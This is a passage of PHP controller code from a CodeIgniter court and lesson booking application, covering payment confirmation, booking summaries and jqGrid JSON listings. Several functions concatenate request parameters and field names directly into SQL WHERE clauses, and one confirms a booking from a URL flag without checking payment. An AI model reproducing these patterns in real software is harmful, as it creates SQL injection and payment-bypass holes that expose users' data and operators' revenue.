$success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription)); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de confirmacion de pago para AJAX # ------------------------------------------------------------------- function booking_confirmation($idTransaction, $success, $dummy) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; $user_name=$profile->username; } else { $user_id=0; $user_group=9; $user_name=$this->lang->line('anonymous_user'); } $logged_user=$user_id; $session=$this->session->userdata('session_id'); $info=$this->reservas->getBookingInfoById($idTransaction); $pago=$this->pagos->getPaymentByTransaction($idTransaction); $permiso_ticket_arr = $this->config->item('payment_managment_permission'); $permiso_ticket = FALSE; if(isset($permiso_ticket_arr) && $permiso_ticket_arr[$user_group]) $permiso_ticket = TRUE; //print("<pre>");print_r($pago);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>'); redirect(site_url('/reservas/'), 'Location'); exit(); } if(isset($info['user']) && $info['user']!='0') { $this->session->set_userdata('returnUrl', site_url('users/pagos/'.$info['user'])); } if($success == "1") { $this->reservas->complete_reserve($idTransaction); # Mail de notificaciรณn de reservas if(1==2 && $this->config->item('reserve_send_mail')) { $this->booking->notify_booking($info); } } #Cada vez que voy a buscar, actualizo el id de transaccion $this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction()); # Tamaรฑo minimo de los caracteres numรฉricos = 4 .. mรกs un sufijo para identificar el registro que estoy pagando if(strlen($info['id'])<4) $order=sprintf("%04s", $info['id']).date('is').'re'; else $order=$info['id'].date('is').'re'; $paymentDescription = $info['operation_desc']; if(in_array($this->agent->browser(), $this->config->item('special_browser'))) { $added = array('added_footer' => 'Pagina adaptada a IE'); $data=array( //'menu' => $this->load->view('menu', $menu, true), 'user_name' => $user_name, //'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true), //'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true), //'validation_script' => $validation_script, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); if($this->redux_auth->logged_in()) { $data['meta']=$this->load->view('meta', '', true); $data['header']=$this->load->view('header', array('enable_menu' => '1'), true); $data['footer']=$this->load->view('footer', $added, true); } else { $data['meta']=$this->load->view('meta_index', '', true); $data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true); $data['footer']=$this->load->view('footer_index', $added, true); } $data['main_content'] = $this->load->view('reservas/payment_iexplorer', array('user_name' => $user_name, 'info' => $info, 'pago' => $pago, 'permiso_ticket' => $permiso_ticket, 'success' => $success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription), true); $this->load->view('main', $data); } else $this->load->view('reservas/payment', array('info' => $info, 'pago' => $pago, 'permiso_ticket' => $permiso_ticket, 'success' => $success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription)); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que muestra un resumen de una reserva concreta # ------------------------------------------------------------------- function resume($transaction=NULL, $encode=NULL) { $this->load->model('Reservas_model', 'reservas', TRUE); /* $transaction = $this->input->get('transaction'); $encode = $this->input->get('encode'); */ if(!isset($transaction) || trim($transaction) =="" || !isset($encode) || trim($encode) =="" || $encode != $this->app_common->reserve_encode($transaction)) { $menu=array('menu' => $this->app_common->get_menu_options()); $title = $this->config->item('app_name').' - '.'Intento fraudulento de acceso a datos de una reserva'; $main_content='<h1>Intento fraudulento de acceso a datos de una reserva</h1>'; } else { $info=$this->reservas->getBookingInfoById($transaction); $menu=array('menu' => $this->app_common->get_menu_options()); //print("<pre>");print_r($info); $fecha=date($this->config->item('reserve_date_filter_format'), strtotime($info['date'])); $title='Participaci&oacute;n en un partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name'); $main_content='<h1>Detalle en un partido en '.$this->config->item('club_name').'.</h1>'; $main_content.= $this->load->view('reservas/detail', array('info' => $info), TRUE); //$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>'; } $data=array( 'meta' => $this->load->view('meta', array('title' => $title), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $main_content, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que muestra un resumen de una reserva concreta # ------------------------------------------------------------------- function tooltip_info($transaction = NULL) { $this->load->model('Reservas_model', 'reservas', TRUE); if(isset($transaction) && trim($transaction) != "") { $info=$this->reservas->getBookingInfoById($transaction); $this->load->view('reservas/tooltip_info', array('info' => $info, 'buttons' => TRUE)); //$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>'; } } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que borra reservas # ------------------------------------------------------------------- function clean_block_reserves() { $this->load->model('Reservas_model', 'reservas', TRUE); if(isset($transaction) && trim($transaction) != "") { if($this->reservas->cleanBlockReserves()) echo '['.date('YmdHis').'] Borrado satisfactorio'."\r\n"; else echo '['.date('YmdHis').'] Borrado con errores'."\r\n"; } } # ------------------------------------------------------------------- # devuelve el listado de reservas para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function exportacion ($opciones = NULL) { //$this->load->model('Reservas_model', 'reservas', TRUE); $this->load->library('booking'); //$this->load->library('encrypt'); $exportacion = $this->booking->exportacion(); //echo $texto."<pre>"; print_r($exportacion); //exit(); //echo json_encode ($data ); //exit( 0 ); } public function test ($id_transaction, $id_booking, $time, $opciones = NULL) { //$this->load->model('Reservas_model', 'reservas', TRUE); $this->load->library('booking'); $exportacion = $this->booking->getExtra($id_transaction, $id_booking, $time); echo '<pre>'; print($exportacion); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de gestiรณn de la reserva tras el pago de la misma # ------------------------------------------------------------------- function pagoautomatico($id_transaction) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; } else $user_id=0; $logged_user=$this->session->userdata('user_id'); $session=$this->session->userdata('user_id'); $info=$this->reservas->getBookingInfoById($id_transaction); // print("<pre>");print_r($info);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>'); redirect(site_url('/reservas/'), 'Location'); exit(); } //print("<pre>"); print_r($info);exit(); $success = 0; $estado_pago=0; $estado_reserva=9; $estado_pago = 2; $modo_pago=4; //$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); //echo "AA";exit(); //if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction=$id_transaction; $this->pagos->id_user=$info['user']; $this->pagos->desc_user=$info['user_desc']; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_pago; // Pago bancario pendiente $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description=$info['operation_desc']; $this->pagos->create_user=$this->session->userdata('user_id'); $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; //} else $success=1; $no_cost_desc = ''; $success=0; $estado_reserva=9; $modo_pago=4; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], 0, $no_cost_desc)) $success=1; /* switch($method) { case 'prepaid': $estado_reserva=9; $modo_pago=5; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'creditcard': $estado_reserva=9; $modo_pago=2; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'tpv': $estado_reserva=7; $estado_pago=5; $modo_pago=6; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=5; break; case 'paypal': $estado_reserva=7; $estado_pago=5; $modo_pago=3; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'reserve': $estado_reserva=7; $this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc); $success=5; break; case 'cash': $estado_reserva=9; $modo_pago=1; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; //echo "AA";exit(); break; case 'bank': $estado_reserva=9; $modo_pago=4; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; //echo "AA";exit(); break; } */ } } /* End of file welcome.php */ /* Location: ./system/application/controllers/welcome.php */``` lessons.php ```<?php class Lessons extends Controller { /* # CONTENIDO # # index() */ function Lessons() { parent::Controller(); $this->lang->load('lessons'); $this->config->load('lessons'); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de bรบsqueda de pista # ------------------------------------------------------------------- function index() { $this->load->model('Redux_auth_model', 'usuario', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $calendario = $this->load->view('lessons/calendar', array(), true); //$extra_meta = link_tag(base_url().'css/dailog.css').link_tag(base_url().'css/calendar.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/alert.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.alert.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.ifrmdailog.js" defer="defer" type="text/javascript"></script> <script src="'.base_url().'js/calendar/wdCalendar_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.calendar.js" type="text/javascript"></script>'; $data=array( 'meta' => $this->load->view('meta', array('lib_calendar' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', array(), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $calendario, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); //print("<pre>");print_r($this->session); } # ------------------------------------------------------------------- # Listado general de las reservas usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function lista() { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('bookings_visualization_permission'); if(!$panel_permission[$user_group]) { redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } $this->load->model('Reservas_model', 'reservas', TRUE); $deportes = ':All;'.$this->reservas->getSportsArray('json'); $colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true}, {name:'description',index:'lessons.description', width:25, align:'center', datefmt:'dd/mm/Y', date:true}, {name:'sport_desc', index:'zz_sports.description', width:10, align:'center',stype:'select', searchoptions:{value:'".$deportes."'}}, {name:'court_desc', index:'court_desc', width:10, align:'center'}, {name:'dia_semana', index:'weekday', width:10, align:'center', editable:true}, {name:'rango_fechas', index:'start_date', width:20, align:'center', editable:true}, {name:'rango_horas',index:'start_time', width:12, align:'center'}, {name:'plazas', index:'max_vacancies', width:8, align:'center'}, {name:'profesor', index:'meta.first_name', width:15, align:'center'}"; $colnames = "'Id','Nombre', 'Deporte', 'Pista','Dia','Fechas','Horario', 'Plazas', 'Profesor'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_all", 'title' => 'Listado de cursos', 'default_orderfield' => 'sport_desc', 'default_orderway' => 'asc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '820', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 820px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; $menu_lateral = $this->load->view('lessons/menu_lateral', '', true); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', array(), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('lessons/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => $menu_lateral), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_flashdata('returnOkUrl', site_url('reservas_gest/list_all')); $this->session->set_flashdata('returnKoUrl', site_url('reservas_gest/list_all')); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de reservas para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_all ($add_params = NULL, $id_user = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } else { //if($user_group > '3') $where = "booking.id_user = '".$profile->id."'"; } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); $where = "lessons.active = '1'"; if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } #Procesado de filtros automaticos $filters = $_POST['filters']; $search = $_POST['_search']; //$where = ""; if(($search==true) &&($filters != "")) { $filters = json_decode($filters); //$where = " where "; $whereArray = array(); $rules = $filters->rules; $groupOperation = $filters->groupOp; foreach($rules as $rule) { $fieldName = $rule->field; $search1 = array("\\", "\x00", "\n", "\r", "'", '"', "\x1a"); $replace1 = array("\\\\","\\0","\\n", "\\r", "\'", '\"', "\\Z"); $fieldData = str_replace($search1, $replace1, $rule->data); switch ($rule->op) { case "eq": $fieldOperation = " = '".$fieldData."'"; break; case "ne": $fieldOperation = " != '".$fieldData."'"; break; case "lt": $fieldOperation = " < '".$fieldData."'"; break; case "gt": $fieldOperation = " > '".$fieldData."'"; break; case "le": $fieldOperation = " <= '".$fieldData."'"; break; case "ge": $fieldOperation = " >= '".$fieldData."'"; break; case "nu": $fieldOperation = " = ''"; break; case "nn": $fieldOperation = " != ''"; break; case "in": $fieldOperation = " IN (".$fieldData.")"; break; case "ni": $fieldOperation = " NOT IN '".$fieldData."'"; break; case "bw": $fieldOperation = " LIKE '".$fieldData."%'"; break; case "bn": $fieldOperation = " NOT LIKE '".$fieldData."%'"; break; case "ew": $fieldOperation = " LIKE '%".$fieldData."'"; break; case "en": $fieldOperation = " NOT LIKE '%".$fieldData."'"; break; case "cn": $fieldOperation = " LIKE '%".$fieldData."%'"; break; case "nc": $fieldOperation = " NOT LIKE '%".$fieldData."%'"; break; default: $fieldOperation = ""; break; } if($fieldOperation != "") $whereArray[] = $fieldName.$fieldOperation; } if (count($whereArray)>0) { if(trim($where)!="") $where .= ' AND '; $where .= join(" ".$groupOperation." ", $whereArray); } } if(isset($id_user) && $id_user != '') { if(trim($where)!="") $where .= ' AND '; $where .= ' lessons.id IN (SELECT id_lesson from lessons_assistants WHERE id_user = '.$id_user.' and status IN (1,2,3)) '; } $req_param['where'] = $where; if(isset($add_params) && $add_params != 'none' && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];} $data->page = $this->input->post( "page", TRUE ); //print("<pre>");print_r($req_param);exit(); $data->records = count($this->lessons->get_data ($req_param,"all")); $data->total = $data->records; if($req_param['num_rows']!=0) $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_data ($req_param, 'none'); $data->rows = $records; //print("<pre>");print_r($data);exit(); //echo "<pre>"; print_r($data->rows); echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # devuelve el listado de reservas para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_all_generation ($add_params = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } else { //if($user_group > '3') $where = "booking.id_user = '".$profile->id."'"; } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); $where = "lessons.active = '1'"; if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } $req_param['where'] = $where; if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];} $data->page = $this->input->post( "page", TRUE ); $data->records = count($this->lessons->get_data (array('where' => 'lessons.id_sport in (1, 9, 10, 11)', 'orderby' => 'id_sport'),"all")); $data->total = $data->records; if($req_param['num_rows']!=0) $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_data (array('where' => 'lessons.id_sport in (1) and lessons.price in (54, 57)', 'orderby' => 'id_sport', 'orderbyway' => 'ASC'), 'all'); $data->rows = $records; //print("<pre>");print_r($data);exit(); //echo "a<pre>"; print_r($records);exit(); foreach($records as $curso) { echo '<br><a href="'.site_url('control/lessons_quotas_torrijos/'.$curso['id']).'" target="_blank">Generar</a> Curso: '.$curso['description'].' - '.$curso['sport_desc']; } exit(); echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_assistants ($id = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if(!$id) exit(0); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { exit(0); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if($where!='') $where.=' AND '; $where.= 'lessons_assistants.id_lesson = \''.$id.'\' AND lessons_assistants.status IN (1,2,3)'; $req_param['where'] = $where; $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->lessons->get_AssitantsData($req_param,"all")); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_AssitantsData ($req_param, 'none'); //print("<pre>");print_r($records); $data->rows = $records; echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_waiting ($id = NULL, $global = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if(!$id && !$global) exit(0); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { exit(0); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if(!isset($global)) { if($where!='') $where.=' AND '; $where.= 'lessons_assistants.id_lesson = \''.$id.'\''; } if($where!='') $where.=' AND '; $where.= 'lessons_assistants.status IN (7)'; $req_param['where'] = $where; $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->lessons->get_AssitantsData($req_param,"all")); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_AssitantsData ($req_param, 'none'); //print("<pre>");print_r($records); $data->rows = $records; echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # devuelve el listado de usuarios dados de baja de un curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_erased ($id = NULL, $global = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if(!$id && !$global) exit(0); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { exit(0); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if(!isset($global)) { if($where!='') $where.=' AND '; $where.= 'lessons_assistants.id_lesson = \''.$id.'\''; } if($where!='') $where.=' AND '; $where.= 'lessons_assistants.status IN (9)'; $req_param['where'] = $where; $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->lessons->get_AssitantsData($req_param,"all")); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_AssitantsData ($req_param, 'none'); //print("<pre>");print_r($records); $data->rows = $records; echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_assistance ($id = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $where = ''; if(!$id) exit(0); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { exit(0); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" 